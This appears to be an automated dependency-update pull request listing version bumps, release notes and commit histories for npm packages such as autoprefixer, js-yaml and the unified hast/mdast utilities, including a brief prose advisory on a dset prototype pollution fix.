Sorry, we couldn’t find anything useful about this release.
↗️ @types/babel__core (indirect, 7.1.20 → 7.20.5) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @types/babel__generator (indirect, 7.6.4 → 7.6.8) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @types/babel__template (indirect, 7.4.1 → 7.4.4) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @types/babel__traverse (indirect, 7.18.2 → 7.20.6) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @types/debug (indirect, 4.1.7 → 4.1.12) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @types/hast (indirect, 2.3.4 → 3.0.4) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @types/mdast (indirect, 3.0.10 → 4.0.4) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @types/ms (indirect, 0.7.31 → 0.7.34) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @types/unist (indirect, 2.0.6 → 3.0.3) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ argparse (indirect, 1.0.10 → 2.0.1) · Repo · Changelog
Release Notes
2.0.1 (from changelog)
Fixed
- Fix issue with
process.argvwhen used with interpreters (coffee,ts-node, etc.), #150.
2.0.0 (from changelog)
Changed
- Full rewrite. Now port from python 3.9.0 & more precise following. See doc for difference and migration info.
- node.js 10+ required
- Removed most of local docs in favour of original ones.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
2.0.1 releasedAlways assume process.argv[0] is interpreterAdd more migration docs2.0.0 releasedImplement argparse.js version 2.0Add 2.0 configs & docsDrop old sources (2.0 is full rewrite)Merge pull request #145 from lpinca/document/version-optionAdd documentation for the version optionreadme: update titelift infochangelog format updateAdd Tidelift link & fix headers formattingCreate FUNDING.ymlMerge pull request #129 from marcin-mazurek/patch-1Fix require statements in README examples
↗️ autoprefixer (indirect, 10.4.13 → 10.4.20) · Repo · Changelog
Release Notes
10.4.20
- Fixed
fit-contentprefix for Firefox.
10.4.19
- Removed
end value has mixed support, consider using flex-endwarning sinceend/startnow have good support.
10.4.18
- Fixed removing
-webkit-box-orienton-webkit-line-clamp(@Goodwine).
10.4.17
- Fixed
user-select: containprefixes.
10.4.16
- Improved performance (by @romainmenke).
- Fixed docs (by @coliff).
10.4.15 (from changelog)
- Fixed
::backdropprefixes (by 一丝).- Fixed docs (by Christian Oliff).
10.4.14
- Improved startup time and reduced JS bundle size (by @Knagis).
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 45 commits:
Release 10.4.20 versionFix fit-content for FirefoxUpdate dependenciesMove to pnpm 9Release 10.4.19 versionRemove end→flex-end warningUpdate dependenciesMove to flat ESLint configUpdate dependenciesRelease 10.4.18 versionUpdate dependenciesUpdate c8 configAdd Node.js 21 to CIAutomate release creationUpdate actionsPreserve -webkit-box-orient when -webkit-line-clamp is present (#1511)Release 10.4.17 versionUpdate dependenciesFix user-select: containUpdate dependenciesRelease 10.4.16 versionUpdate dependenciesUpdate CIimprove performance (#1500)Update dependenciesRemove deprecated browsers from README (#1499)Release 10.4.15 versionRun tests in parallelUpdate dependenciesfeat: `::backdrop` using `@mdn/browser-compat-data` (#1498)Update dependencies and code styleMove to pnpm 8Use Node.js 20 on CILock pnpmUpdate dependenciesAdd funding optionHTTPS and update URLS in README (#1494)Release 10.4.14 versionUpdate dependenciesImproves startup time by requiring specific caniuse files (#1492) (#1493)Fix package manager info (#1489)Update dependenciesRemove old CI configUpdate dependenciesupdate postcss to 8.4.19 (#1485)
↗️ boxen (indirect, 6.2.1 → 8.0.1) · Repo
Release Notes
8.0.1
8.0.0
Breaking
Improvements
7.1.1
7.1.0
7.0.2
7.0.1
7.0.0
Breaking
- Require Node.js 14 c393023
Improvements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 22 commits:
8.0.1Downgrade cli-boxes (#102)8.0.0Meta tweaksUpdate dependencies (#97)Bump minimum version to Node.js 18 (#96)Remove bloat code (#91)7.1.1Fix `borderStyle: 'none'` (#89)Readme tweak7.1.0Meta tweaksAllow border to be optional (#88)7.0.2Fix the `Spacing` TypeScript type (#86)7.0.1Now using newline as line separator in all cases (#81)Fix typo (#78)Fix typo (#77)7.0.0Require Node.js 14Add `height` and `fullscreen` option (#75)
↗️ convert-source-map (indirect, 1.9.0 → 2.0.0) · Repo
Commits
See the full diff on Github. The new version differs by 5 commits:
↗️ diff (indirect, 5.1.0 → 5.2.0) · Repo
Commits
See the full diff on Github. The new version differs by 47 commits:
5.2.0 release (#483)Add myself to the list of maintainers (#482)Add examples to docs of creating and applying patches (importantly including the fairly fiddly `applyPatches` function) (#481)Modify node_example.js to support showing added/deleted spaces (#479)Add `timeout` option (#478)Replace broken link to Myers's paper in the README with a working one (#476)Add note to README about setting `context` to Infinity or MAX_SAFE_INTEGER. (#473)Fix mistake in README (#471)Bump follow-redirects from 1.14.8 to 1.15.4 (#470)Migrate to DABH's fork of colors (#469)Fix more gaps in the docs (#466)Document that applyPatch can return false (#459)Flesh out the README a bit and fix some errors and omissions (#458)Add function to reverse a patch (#450)Expose `formatPatch` on `diff` object and document (#451)Consistently capitalize "jsdiff" in all-lowercase in docs (#449)Speed up algorithm by not considering diagonals that take us off the edge of the graph (#448)Flip core algorithm so everything is no longer the mirror image of Myers's paper (#440)Add test showing patch from bug #177 is handled correctly now (#447)Add release notes for @oBusk's PR #344 (#445)Option to strip trailing CR (#344)Write release notes for PRs already merged to master (#444)Update release-notes.md with content on npm that never got pushed to GitHub, relating to the 5.1.0 release (#443)Fix typo / grammar error in CONTRIBUTING.md (#442)Update CONTRIBUTING.md to use yarn (#441)Fix bug that leads to worse time complexity and cripplingly slow performance in some cases (#411)Default value of line delimiters when a patch is applied (#228) (#393)Fix a typo (#433)Document in a comment in web_example.html that you need to run a build first (#431)Update comment in index.js to reflect JsDiff->Diff rename in 5.0.0 (#430)Remove index.html from master (#429)Fix `exports` field in `package.json` (#351)Document diffJson() options (#332)readme: add links to section: change objects (#316)chore: update license file (#331)Move demo link to the top of the README (#370)Bump qs from 6.7.0 to 6.11.0 (#426)Bump more dependencies to please Dependabot (#425)Update package.json version to 5.1.0 (#422)yarn eslint . --fix (#421)Bump karma from 5.1.1 to 6.3.16 (#357)Upgrade packages that Dependabot has open PRs about (#415)Fix assorted trivial capitalisation typos (#410)Bump terser from 4.8.0 to 4.8.1 (#380)Bump socket.io from 2.3.0 to 2.5.0 (#379)Bump eventsource from 1.0.7 to 1.1.1 (#374)Bump socket.io-parser from 3.3.0 to 3.3.2 (#369)
↗️ dset (indirect, 3.1.2 → 3.1.4) · Repo
Security Advisories 🚨
🚨 dset Prototype Pollution vulnerability
Versions of the package dset before 3.1.4 are vulnerable to Prototype Pollution via the dset function due improper user input sanitization. This vulnerability allows the attacker to inject malicious object property using the built-in Object property proto, which is recursively assigned to all the objects in the program.
Release Notes
3.1.3
Patches
Full Changelog: v3.1.2...v3.1.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 4 commits:
↗️ escape-string-regexp (indirect, 4.0.0 → 5.0.0) · Repo
Commits
See the full diff on Github. The new version differs by 4 commits:
↗️ fraction.js (indirect, 4.2.0 → 4.3.7) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ github-slugger (indirect, 1.5.0 → 2.0.0) · Repo · Changelog
Release Notes
2.0.0
What's Changed
- Use ESM by @wooorm in #43
breaking: please read this guide- Add types by @wooorm in #44
breaking: tiny chance of breaking, use a new version of TS and it’ll workFull Changelog: v1.5.0...2.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
↗️ hast-util-from-parse5 (indirect, 7.1.0 → 8.0.2) · Repo
Release Notes
8.0.2
Miscellaneous
Types
Full Changelog: 8.0.1...8.0.2
8.0.1
Fix
- 3c42476 Fix type of optional option
Full Changelog: 8.0.0...8.0.1
8.0.0
Change
- cc4e5c5 Update
@types/hast, utilities
migrate: update too- 0c76e8a Change to require Node.js 16
migrate: update too- a227695 Change to use
exports
migrate: don’t use private APIs- 81cde21 Remove support for passing
filedirectly
migrate:x->{file: x}Types
- c6bd56c Add types of
datafields
expect values to be typed :)Full Changelog: 7.1.2...8.0.0
7.1.2
Fix
- 78ff3b5 Fix some props
Full Changelog: 7.1.1...7.1.2
7.1.1
Misc
- 00413a1 3bd13d7 Add improved docs
- ab3559e Add export of
Spacetype- 5e813f0 b344419 Update types and tests for changes in
parse5Full Changelog: 7.1.0...7.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 46 commits:
8.0.2Refactor typesRefactor to use `@import`sAdd declaration mapsRefactor `package.json`Remove license yearRefactor `.editorconfig`Update ActionsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependenciesUpdate `hastscript`8.0.1Fix type of optional option8.0.0Change to require Node.js 16Change to use `exports`Refactor docsAdd types of `data` fieldsRemove support for passing `file` directlyRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependencies7.1.2Fix some propsFix internal type error7.1.1Fix typoAdd improved docsAdd tests for exposed identifiersAdd export of `Space` typeUse Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesFix tests for change in `parse5`Update dev-dependenciesAdd reference to `hast-util-from-html`Add improved docsRefactor code-styleUpdate types and tests for changes in `parse5`Update dev-dependenciesadd `ignore-scripts` to `.npmrc`Update `unist-util-visit`
↗️ hast-util-is-element (indirect, 2.1.2 → 3.0.0) · Repo
Release Notes
3.0.0
Change
- a16a694 Update
@types/hast, utilities
migrate: update too- 6f20167 Change to require Node.js 16
migrate: update too- 864ab64 Change to use
exports
migrate: don’t use private APIs- 0a5de58 Change types to work w/o explicit type parameter
migrate: don’t pass an explicit type parameter;
replaceAssertAnything,AssertPredicate->Check;
TestFunctionAnything,TestFunctionPredicate->TestFunction;
PredicateTest->TestFull Changelog: 2.1.3...3.0.0
2.1.3
Misc
Full Changelog: 2.1.2...2.1.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 25 commits:
3.0.0Change to require Node.js 16Change to use `exports`Refactor docsChange types to work w/o explicit type parameterRefactor to move implementation to `lib/`Update `@types/hast`, utilitiesRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependenciesRefactor tests for exposed identifiersAdd `ignore-scripts` to `.npmrc`Use Node 16 in Actions2.1.3Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd improved docsRefactor code-styleUpdate dev-dependencies
↗️ hast-util-parse-selector (indirect, 3.1.0 → 4.0.0) · Repo
Release Notes
4.0.0
Change
- b64572f Update
@types/hast
migrate: update too- 7075bc4 Change to require Node.js 16
migrate: update too- 6363e82 Remove support for TS 4.1
migrate: update too- 339b417 Change to use
exports
migrate: don’t use private APIsFull Changelog: 3.1.1...4.0.0
3.1.1
Misc
- d2bf5af Add improved docs
Full Changelog: 3.1.0...3.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 30 commits:
4.0.0Change to require Node.js 16Change to use `exports`Refactor docsRefactor code-styleRemove support for TS 4.1Refactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`Update dev-dependenciesUse Node 16 in Actions3.1.1Fix typoAdd improved docsAdd tests for exposed identifiersRefactor to move implementation to `lib/`Use Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd missing sectionAdd improved docsUpdate dev-dependenciesAdd `ignore-scripts` to `.npmrc`Update `xo`Update `tsd`Add `strict` to `tsconfig.json`Refactor code-styleUse `pull_request_target` in bb
↗️ hast-util-raw (indirect, 7.2.2 → 9.1.0) · Repo
Release Notes
9.1.0
Add
- 91cfb6d Add
tagfilteroptionTypes
- 95687c8 Refactor to use
@importsFull Changelog: 9.0.4...9.1.0
9.0.4
- eda8d15 Fix crash on unfinished HTML in raw
Full Changelog: 9.0.3...9.0.4
9.0.3
- 57c9910 Fix non-lowercase SVG elements not closing
Full Changelog: 9.0.2...9.0.3
9.0.2
- 325160a Update dependencies
Full Changelog: 9.0.1...9.0.2
9.0.1
- 98e979e Add missing types dependency
by @Methuselah96 in #21Full Changelog: 9.0.0...9.0.1
9.0.0
Change
- f0ceab5 Update
@types/hast, utilities
migrate: update too- 40ae4fa Change to require Node.js 16
migrate: update too- 4edde89 Change to use
exports
migrate: don’t use private APIs- 246c313 Remove
Rawtype
migrate: import it frommdast-util-to-hast- ae7296e Add smarter types for
passThrough
migrate: make sure to register custom nodesFull Changelog: 8.0.0...9.0.0
8.0.0
Migrate
- Node.js 12 is no longer supported, use Node 14.14+ or later
- if you passed a file, please pass it in options:
{file: file}- if you used
complex-types.d.ts, please useindex.d.tsinsteadChange
- 5414bb6 Update to
parse5@7
by @wooorm in #17- 409ad69 Replace
complex-types.d.tswithindex.d.ts- d1d95a1 Remove support for
fileas parameterFix
- b83ec5f Fix to reexport
Rawfrommdast-util-to-hast- e66705a Fix rcdata, rawtext, script data, and plaintext states
- 8e7f703 Add improved error message for MDX nodes
- 9910e6b Fix to deep clone unknown nodes
Misc
- 2ff6c95 Add improved docs
Full Changelog: 7.2.3...8.0.0
7.2.3
- 9bbc7f3 Fix HTML in SVG in HTML
Full Changelog: 7.2.2...7.2.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 58 commits:
9.1.0Add `tagfilter` optionRefactor `package.json`Refactor code-styleRemove license yearRefactor `.editorconfig`Refactor ActionsRefactor `.gitignore`Update dev-dependenciesRefactor to use `@import`s9.0.4Fix crash on unfinished HTML in rawUpdate dev-dependencies9.0.3Add `remark-api` to dev-dependenciesAdd declaration mapsFix non-lowercase SVG elements not closingUpdate dev-dependencies9.0.2Update dependenciesUpdate dev-dependencies9.0.1Update dev-dependenciesAdd missing types dependencyUpdate dev-dependencies9.0.0Change to require Node.js 16Change to use `exports`Refactor docsRemove `Raw` typeAdd smarter types for `passThrough`Replace dependencyRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependencies8.0.0Add improved docsFix to reexport `Raw` from `mdast-util-to-hast`Fix rcdata, rawtext, script data, and plaintext statesReplace `complex-types.d.ts` with `index.d.ts`Add improved error message for MDX nodesRemove support for `file` as parameterFix to deep clone unknown nodesRefactor testsAdd tests for exposed identifiersAdd `ignore-scripts` to `.npmrc`Use Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesUpdate to `parse5@7`7.2.3Fix HTML in SVG in HTMLRemove unneeded `ts-expect-error`Update dev-dependencies
↗️ hast-util-to-html (indirect, 8.0.3 → 9.0.4) · Repo
Release Notes
9.0.4
Fix
Miscellaneous
Full Changelog: 9.0.3...9.0.4
9.0.3
- 1c938b9 Fix
headopening tag omission w/o titleFull Changelog: 9.0.2...9.0.3
9.0.2
Types
- 9d7a2f7 Add declaration maps
Misc
Full Changelog: 9.0.1...9.0.2
9.0.1
Performance
Full Changelog: 9.0.0...9.0.1
9.0.0
Change
- 23a91fc Update
@types/hast, utilities
migrate: update too- 8c32af8 Change to require Node.js 16
migrate: update too- 320b2ff Change to use
exports
migrate: don’t use private APIs- 15b1618 Remove
entitiesoption, usecharacterReferences
migrate:options.entities->options.characterReferencesFull Changelog: 8.0.4...9.0.0
8.0.4
Misc
Full Changelog: 8.0.3...8.0.4
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 47 commits:
9.0.4Refactor code-styleUpdate ActionsRemove license yearRefactor `.gitignore`Refactor `.editorconfig`Refactor code-styleUpdate dev-dependenciesFix to allow other strings for boolean attributes9.0.3Fix `head` opening tag omission w/o titleAdd `.tsbuildinfo` to `.gitignore`9.0.2Refactor to use `@import`sUpdate dev-dependenciesRemove unused dependencyAdd declaration mapsUpdate dev-dependencies9.0.1Update dev-dependenciesRefactor to improve performance w/ hoisted regex9.0.0Change to require Node.js 16Change to use `exports`Refactor docsRemove `entities` option, use `characterReferences`Refactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependenciesUse Node 16 in ActionsAdd `ignore-scripts` to `.npmrc`Fix links8.0.4Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd reference to `hast-util-from-html`Fix typoAdd improved docsRefactor code-styleUpdate dev-dependencies
↗️ hastscript (indirect, 7.1.0 → 9.0.0) · Repo
Release Notes
9.0.0
Breaking
- 8a5f97e Add better custom element support by tightening overload detection
(tiny chance of breaking, you’re most likely fine)
8.0.0
change
- 04a40a5 Update
@types/hast, utilities
migrate: update too- 234405b Change to require Node.js 16
migrate: update too- 7e27d65 Remove
hastscript/html(auto runtime) fromexports
migrate: usehastscript- 6976cbb Remove
hastscript/html,hastscript/svgfromexports
migrate: usehastscriptFull Changelog: 7.2.0...8.0.0
7.2.0
Add
- f06247f Add JSX dev runtime
Misc
Full Changelog: 7.1.0...7.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 37 commits:
9.0.0Add better custom element support by tightening overload detectionUpdate dev-dependencies8.0.0Add script to buildChange to require Node.js 16Refactor docsRefactor to reorganize filesRemove `hastscript/html` (auto runtime) from `exports`Remove `hastscript/html`, `hastscript/svg` from `exports`Refactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependenciesUpdate `xo`Fix typoAdd some linksRefactor tests for exposed identifiersRemove exampleUse Node 16 in ActionsFix typosFix typo7.2.0Refactor phrasingAdd improved docsAdd JSX dev runtimeAdd tests for exposed identifiersAdd more docs to typesAdd `tsd` backUse Node test runnerRefactor code-styleRemove superfluous dev-dependenciesUpdate `tsconfig.json`Update ActionsRemove classic Babel testUpdate dev-dependencies
↗️ html-void-elements (indirect, 2.0.1 → 3.0.0) · Repo
Release Notes
3.0.0
Change
- 7b5cb87 Remove elements that are no longer void
by @mohd-akram in #7
(tiny chance of breaking, you probably don’t depend on stuff likenextid)Full Changelog: 2.0.1...3.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
↗️ import-meta-resolve (indirect, 2.2.0 → 4.1.0) · Repo
Release Notes
4.1.0
Misc
- d363b81 Refactor to hide deprecation warning
- dbb53a5 Backport changes from Node
- 66b952b Refactor tests to not assume name of project folder
by @kapouer in #25Full Changelog: 4.0.0...4.1.0
4.0.0
- 4ba7a54 Backport changes from Node
Full Changelog: https://github.com/wooorm/import-meta-resolve/compare/3.1.0...4.0.0
3.0.0
- dcaeda3 breaking: change to make
resolvesync
this changes the return type fromPromise<string>tostring
migrate: changeawait resolve(x)toresolve(x)
by @giltayar in #15- c6aa7d5 Backport changes from Node
Notice: This release drops support for Node 16. Migrate by using Node 18 or later.
Full Changelog: 2.2.2...3.0.0
2.2.2
Fix
Full Changelog: 2.2.1...2.2.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 32 commits:
4.1.0Fix ActionsUpdate ActionsRefactor to hide deprecation warningBackport changes from NodeUpdate dev-dependenciesRefactor tests to not assume name of project folderFix tests for newest NodeUpdate dev-dependencies4.0.03.1.0Backport changes from NodeFix tests for changes in NodeUpdate dev-dependenciesFix version in readmeFix Node versionAdd Node 16 to actions again3.0.0Update `tsconfig.json`Add improved docsAdd tests for exposed identifiersRefactor typesBackport changes from NodeUpdate dev-dependenciesChange to make `resolve` sync2.2.2Fix circular dependency in `lib/get-format.js`2.2.1Update ActionsAdd improved docsRemove codecov patch statusBackport changes from Node
↗️ js-yaml (indirect, 3.14.1 → 4.1.0) · Repo · Changelog
Release Notes
4.1.0 (from changelog)
Added
- Types are now exported as
yaml.types.XXX.- Every type now has
optionsproperty with original arguments kept as they were (seeyaml.types.int.optionsas an example).Changed
Schema.extend()now keeps old type order in case of conflicts (e.g. Schema.extend([ a, b, c ]).extend([ b, a, d ]) is now ordered asabcdinstead ofcbad).
4.0.0 (from changelog)
Changed
- Check migration guide to see details for all breaking changes.
- Breaking: "unsafe" tags
!!js/function,!!js/regexp,!!js/undefinedare moved to js-yaml-js-types package.- Breaking: removed
safe*functions. Useload,loadAll,dumpinstead which are all now safe by default.yaml.DEFAULT_SAFE_SCHEMAandyaml.DEFAULT_FULL_SCHEMAare removed, useyaml.DEFAULT_SCHEMAinstead.yaml.Schema.create(schema, tags)is removed, useschema.extend(tags)instead.!!binarynow always mapped toUint8Arrayon load.- Reduced nesting of
/libfolder.- Parse numbers according to YAML 1.2 instead of YAML 1.1 (
01234is now decimal,0o1234is octal,1:23is parsed as string instead of base60).dump()no longer quotes:,[,],(,)except when necessary, #470, #557.- Line and column in exceptions are now formatted as
(X:Y)instead ofat line X, column Y(also present in compact format), #332.- Code snippet created in exceptions now contains multiple lines with line numbers.
dump()now serializesundefinedasnullin collections and removes keys withundefinedin mappings, #571.dump()withskipInvalid=truenow serializes invalid items in collections as null.- Custom tags starting with
!are now dumped as!taginstead of!<!tag>, #576.- Custom tags starting with
tag:yaml.org,2002:are now shorthanded using!!, #258.Added
- Added
.mjs(es modules) support.- Added
quotingTypeandforceQuotesoptions for dumper to configure string literal style, #290, #529.- Added
styles: { '!!null': 'empty' }option for dumper (serializes{ foo: null }as "foo:"), #570.- Added
replaceroption (similar to option in JSON.stringify), #339.- Custom
Tagcan now handle all tags or multiple tags with the same prefix, #385.Fixed
- Astral characters are no longer encoded by
dump(), #587.- "duplicate mapping key" exception now points at the correct column, #452.
- Extra commas in flow collections (e.g.
[foo,,bar]) now throw an exception instead of producing null, #321.__proto__key no longer overrides object prototype, #164.- Removed
bower.json.- Tags are now url-decoded in
load()and url-encoded indump()(previously usage of custom non-ascii tags may have led to invalid YAML that can't be parsed).- Anchors now work correctly with empty nodes, #301.
- Fix incorrect parsing of invalid block mapping syntax, #418.
- Throw an error if block sequence/mapping indent contains a tab, #80.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ magic-string (indirect, 0.25.9 → 0.30.17) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ markdown-table (indirect, 3.0.2 → 3.0.4) · Repo
Release Notes
3.0.4
Types
- 9f9497c Add declaration maps
Miscellaneous
- 6dab0ba Refactor code-style
Full Changelog: 3.0.3...3.0.4
3.0.3
Full Changelog: 3.0.2...3.0.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
3.0.4Remove license yearRefactor code-styleAdd declaration mapsRefactor `package.json`Refactor `.prettierignore`Add `ignore-scripts` to `.npmrc`Refactor `.editorconfig`Update ActionsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependenciesUpdate dev-dependencies3.0.3Use `ReadonlyArray` type in options, parametersRefactor some docsUse Node test runnerRefactor `tsconfig.json`Update dev-dependenciesReplace skypack w/ esm.sh
↗️ mdast-util-definitions (indirect, 5.1.1 → 6.0.0) · Repo
Release Notes
6.0.0
Change
- 900cf9a Update
@types/mdast
migrate: update too- 79d4d61 Change to require Node.js 16
migrate: update too- 9e02a5b Change to use
exportmap
migrate: don’t use private APIs- 4a93553 Change to return
undefined, notnull
migrate: expectundefinedFull Changelog: 5.1.2...6.0.0
5.1.2
Misc
Full Changelog: 5.1.1...5.1.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 20 commits:
6.0.0Change to require Node.js 16Change to use `export` mapRefactor docsRefactor to use `Map`Change to return `undefined`, not `null`Refactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/mdast`Update dev-dependencies5.1.2Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
↗️ mdast-util-from-markdown (indirect, 1.2.0 → 2.0.2) · Repo
Release Notes
2.0.2
Types
Full Changelog: 2.0.1...2.0.2
2.0.1
Fix
- 4aa8425 Fix end point of texts ending in character reference
Types
- 1120df9 Add declaration maps
Full Changelog: 2.0.0...2.0.1
2.0.0
Change
- 843e046 Update
@types/mdastand friends
migrate: update too- 12a5622 Update
micromark, change buffers toUint8Arrays
migrate: seemicromark@4.
only really changesBuffer->Uint8Array, so use encodings supported byTextDecoder- 4cbea5a Change to require Node.js 16
migrate: update tooChange (when you make extensions)
- 03581b3 Change to replace getter/setters with raw data
migrate:this.getData('x')->this.data.x,this.setData('x', 1)->this.data.x = 1- 18f4bb0 Change to return
undefinedfromenter,exit
migrate: keep the node you pass toenteraround; get the node yourself beforeexit- 88969a4 Remove deprecated
OnErrortype
migrate:OnError->OnEnterErrorFull Changelog: 1.3.1...2.0.0
1.3.1
- 13430aa Update types for changes in
micromark-util-typesFull Changelog: 1.3.0...1.3.1
1.3.0
Types
- a034fa6 Add
CompileDatatype to track custom dataFull Changelog: 1.2.1...1.3.0
1.2.1
Misc
- c05e153 05875cd 0e70e0a ded1a8e d9a0849 Add improved docs
- 817f24e 4a1a05e Refactor code-style
- 223bf98 Update
tsconfig.jsonFull Changelog: 1.2.0...1.2.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 53 commits:
2.0.2Refactor typesRefactor to use `@import`sUpdate Node in ActionsRefactor `package.json`Remove license yearRefactor `.editorconfig`Add `.tsbuildinfo` to `.gitignore`Update dev-dependencies2.0.1Fix end point of texts ending in character referenceAdd declaration mapsUpdate `commonmark.json`Update ActionsUpdate dev-dependenciesUpdate dev-dependencies2.0.0Change to replace getter/setters with raw dataChange to return `undefined` from `enter`, `exit`Fix linksChange to require Node.js 16Add script to test in productionRemove unneeded `main`, `types` fieldsRefactor docsRemove deprecated `OnError` typeRefactor code-styleRefactor `.npmrc`Update `@types/mdast` and friendsReplace dependencyUpdate `micromark`, change buffers to `Uint8Array`sRefactor `package.json`, `tsconfig.json`Update dev-dependencies1.3.1Update types for changes in `micromark-util-types`Update dev-dependencies1.3.0Add `CompileData` type to track custom data1.2.1Add improved docsAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor code-styleRefactor testsUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesRefactor some docsUpdate dev-dependenciesFix typoReplace skypack w/ esm.shAdd improved docsUpdate dev-dependencies
↗️ mdast-util-gfm (indirect, 2.0.1 → 3.0.0) · Repo
Release Notes
3.0.0
Change
- d40848e Update
@types/mdast, mdast utilities
migrate: update too- 3f1a762 Change to require Node.js 16
migrate: update too- 812337d Change to use
exports
migrate: don’t use private APIsFull Changelog: 2.0.2...3.0.0
2.0.2
Misc
Full Changelog: 2.0.1...2.0.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 25 commits:
3.0.0Change to require Node.js 16Change to use `exports`Add npm script to test in productionRefactor docsRefactor code-styleRefactor `.npmrc`Refactor to reorganize fixturesRegenerate testsRefactor `package.json`, `tsconfig.json`Update `@types/mdast`, mdast utilitiesUpdate dev-dependenciesFix typo2.0.2Add improved docsAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd improved docsUpdate dev-dependenciesAdd `.gitattributes`
↗️ mdast-util-to-hast (indirect, 12.2.4 → 13.2.0) · Repo
Release Notes
13.2.0
Types
- 24f4576 Add type for
data.metaon elements to hastFull Changelog: 13.1.0...13.2.0
13.1.0
Add
- 59ecd14 Add support for
fileinoptionsFull Changelog: 13.0.2...13.1.0
13.0.2
Full Changelog: 13.0.1...13.0.2
13.0.1
Fix
- 7ff28fb Fix trimming of whitespace around breaks
Full Changelog: 13.0.0...13.0.1
13.0.0
Change
- 67ef76c Update
@types/hast,@types/mdast, utilities
migrate: update too- b815f5e Change to require Node.js 16
migrate: update too- 33442cc Change to use
exports
migrate: don’t use private APIs- 56c88e4 Fix to match GH for HTML generated for backreferences
migrate: use the function form offootnoteBackLabelfor i18n, seedefaultFootnoteBackLabelfor inspiration- ffe7e47 Change to always return a node
migrate: expect an empty root instead of nothing- ffbb8a8 Change to expect, yield
undefined
migrate: expectundefinedeverywhere, notnull- c13fe7f Change to remove support for
Footnotenodes
migrate: use GFM, which does not have “inline” notes- 6fc783a Change to remove support for ancient
langoncodewith spaces
migrate: you’re fine, this hasn’t been a thing for years- 72b8a68 Change to use maps for definitions on
state
migrate: if you make your own handles, expect maps- b328aa9 Change to remove function form of
State, use plain object
migrate: if you make your own handles, create nodes yourself, usestate.applyDataif needed- 40e1d29 Change to remove
all,onehelpers
migrate: if you make your own handles, usestate.all,state.one- 1894044 Change to remove
Htype
migrate: useState- e804231 Change to remove
complex-types.d.ts
migrate: use main module- 4df5d41 Change to deep clone passed through nodes
migrate: should be fineTypes
- 52905eb Add smarter types for
passThrough
migrate: type your mdast/hast nodes by extending the content interfaces- 6f555a0 Add supported data fields to
Dataofmdast
migrate: pass correct values innode.dataFix
- 3e300ea Fix to keep content around for
hNameon textFull Changelog: 12.3.0...13.0.0
12.3.0
Add
Fix
- 0c67e83 Fix footnote keys such as
constructor- 1c2cb7b Fix support for passing just a table row, cell
Misc
- 8179548 Rename
HtoState- 6d1021e Add improved docs
- 6aabc56 Refactor code-style
- ac01554 cb81cbb Update
tsconfig.jsonFull Changelog: 12.2.6...12.3.0
12.2.6
Misc
- 3098beb Fix missing internal type
Full Changelog: 12.2.5...12.2.6
12.2.5
Full Changelog: 12.2.4...12.2.5
Does any of this look wrong? Please let us know.
Commits
